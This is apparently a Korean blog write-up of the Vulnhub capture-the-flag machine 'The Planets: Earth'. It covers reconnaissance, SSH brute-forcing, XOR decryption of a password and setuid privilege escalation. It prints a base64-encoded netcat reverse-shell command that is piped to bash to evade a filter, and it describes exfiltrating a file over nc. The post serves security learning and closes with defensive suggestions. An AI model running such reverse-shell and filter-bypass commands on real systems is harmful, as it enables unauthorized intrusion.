THE PLANETS: EARTH

2023. 3. 20. 20:30

1. Target IP 확인

- 192.168.50.50은 Kali(공격자) IP로 Target IP는 192.168.50.52 확인

 

2. Target에 대한 정보 수집

- 서버 정보: 리눅스

- Port 정보: 22(ssh), 80(http), 443(https)

 

3. SSH 접근

- 크래킹 툴 hydra를 사용하여 ssh brute force 계정 탈취 시도

- 적절한 user 목록과 password 목록이 필요 / 생각보다 많은 시간이 소요될 수 있음

 * -l 옵션은 user 정의(단일 user 또는 목록 파일)

 * -P 옵션은 password 정의(단일 password 또는 목록 파일)

 * -u 옵션은 loop around users, not passwords (사용자 목록 기준으로 대입한다는 건가..? 여튼 효과적이라고 함)

- 유효한 계정 확인되지 않음

 

4. HTTP / HTTPS 접근

- 400 Error 및 기본 페이지 확인

 

5. 인증서 정보 확인

- SSL 인증서의 DNS 정보에서 earth.local 및 terratest.earth.local 확인됨

 

6. 도메인 접근

- 도메인 접근과 IP 접근은 응답이 달라질 수 있으니 DNS 설정 후 도메인 접근 시도

- 도메인 정보 추가 위해 /etc/hosts 파일에 IP, 도메인 정보 입력

 

- 도메인 접근 시 달라진 응답 확인됨

1) earth.local

 

- 해당 페이지에는 지구로 메시지를 보내는 Form과 이전에 보냈던 메세지(암호문 추정) 존재

 

2) terratest.earth.local

- http로 접근 시, earth.local과 동일한 페이지 확인되며 https 접근은 아래와 같음

 

7. 하위 디렉터리 검색

- dirb 툴을 통한 하위 디렉터리 검색

 

1) earth.local

- 하위 디렉터리 admin, cgi-bin 확인

 

- admin 페이지 접근 시, 로그인이 안되었다며 로그인 페이지로 유도

=> Sqlmap 툴을 사용하여 테스트했으나 DB 정보 획득 실패 

 

 

2) terratest.earth.local

- 하위 디렉터리 cgi-bin 및 하위 파일 robots.txt 확인

 

- robots.txt 파일에서 추가 파일 경로 확인

- testingnotes.txt 파일 확인

 * XOR 암호화 알고리즘 사용

 * testdata.txt 파일 존재 및 암호화 키로 사용됨

 * 관리자 계정은 terra

 

- testdata.txt 파일은 지구에 대한 내용으로 암호화 키로 추정

 

- testdata.txt를 key 값으로 earth.local 메인 페이지 아래에 있던 문자열을 복호화하면 문자열이 나온다.

 * 복호화는 "https://gchq.github.io/CyberChef"에서 수행

 * 복호화를 하면 특정 문자열이 반복

 * 메인 페이지 내 다른 2개 문자열을 복호화하면 의미없는 값이 나온다

 

8. 사용자 로그인

 

-  로그인 성공

 

- 플래그 탐색 및 획득

 

=> 사용자 FLAG 겟!

 

9. 타겟 시스템 쉘 획득 시도

- 웹쉘도 좋지만, NC를 통한 리버스 쉘 획득 시도 

 

- 칼리에서 먼저 nc 접근에 대해 listen 설정

* l 옵션은 Port listen 모드

* v 옵션은 더 자세한 정보 획득

* n 옵션은 IP 주소를 사용한 접근(DNS 미사용)

* p 옵션은 port지정

 

- 타겟 시스템에서 칼리로 nc를 통해 접근 시도 

* e 옵션은 쉘 지정

=> 원격 접근이 허용되지 않았다는 안내와 함께 원격 접속 실패

 

- 시스템 우회를 위해 base64 인코딩하여 접근 시도

* 허용되지 않았던 명령어를 base64 인코딩

 

* echo 'bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTAuNTAgOTk5OQo=' | base64 -d | bash 명령어 수행

* base64 -d는 옵션은 디코딩 의미

 

* 리버스 쉘 획득 확인

 

10. 권한 상승 시도

- 현재 획득한 권한은 apache 권한으로 제한적이라 root 권한 획득을 위해 setuid 설정 탐색

- 처음보는 reset_root 명렁어 확인

* perm 옵션은 find 명령어 사용 중 권한에 대해 필터링

 

- reset_root 파일은 실행 파일로 확인됨

 

- reset_root 명령어를 실행했으나 정상적으로 동작하지 않음

 

11. 파일 전송

- cat 명령어를 통해 해당 파일을 읽어보면 난독화된 것처럼 읽을 수 없음

 

- reset_root 파일을 분석하기 위해 kali로 전송

- 먼저, 칼리에서 7777 port를 여는데 출력값은 파일로 생성하도록 > 사용

 

- 타겟 시스템에서 cat을 통해 해당 파일을 읽고 출력값을 칼리로 전송

- kali에 저장 완료

 

12. 파일 분석

- 분석 전에 실행 권한 부여

 

- ltrace 명령어를 통해 파일 디버깅 진행

* ltrace는 APP이 실행되며 호출하는 라이브러리를 추적하는 리눅스의 디버깅 유틸리티

 

- reset_root 파일이 동작하기 위해 필요한 파일이 나타남

 

- 리버스 쉘을 통해 해당 파일 생성

 

13. root 계정 탈취

- root 패스워드 초기화

 

 - root 계정으로 로그인 성공

 

- root 플래그 습득

 

=> USER FLAG, ROOT FLAG 모두 클리어!

 


만약 타겟 웹서버가 내부 자산이라면 어떻게 보호할까?

1) 허용된 사용자만 접근할 수 있도록 admin 페이지 접근 제어

2) 웹 사이트 내 웹쉘 제거

3) 하위 디렉터리 스캔을 탐지할 수 있는 접근 패턴 생성(admin 페이지, login 페이지 접근 등)

4) robot.txt 파일 점검

5) 추가로 ssh port 점검 

 

[웹서버 설정 생각해보기]

- 웹서버에서 IP로 접근 시 차단 or 리다이렉트하는 방법

- 80 porr는 동일한 페이지로 접근 되는데 443 port는 다른 페이지로 접근 되는 것

'보안 CTF > Vulnhub' 카테고리의 다른 글

NAPPING: 1.0.1  (0) 2023.04.12
EMPIRE: BREAKOUT  (0) 2023.04.03
EMPIRE: LUPINONE  (0) 2023.03.29
JANGOW: 1.0.1  (0) 2023.03.22
Web-Machine-N7  (0) 2023.03.08

+ Recent posts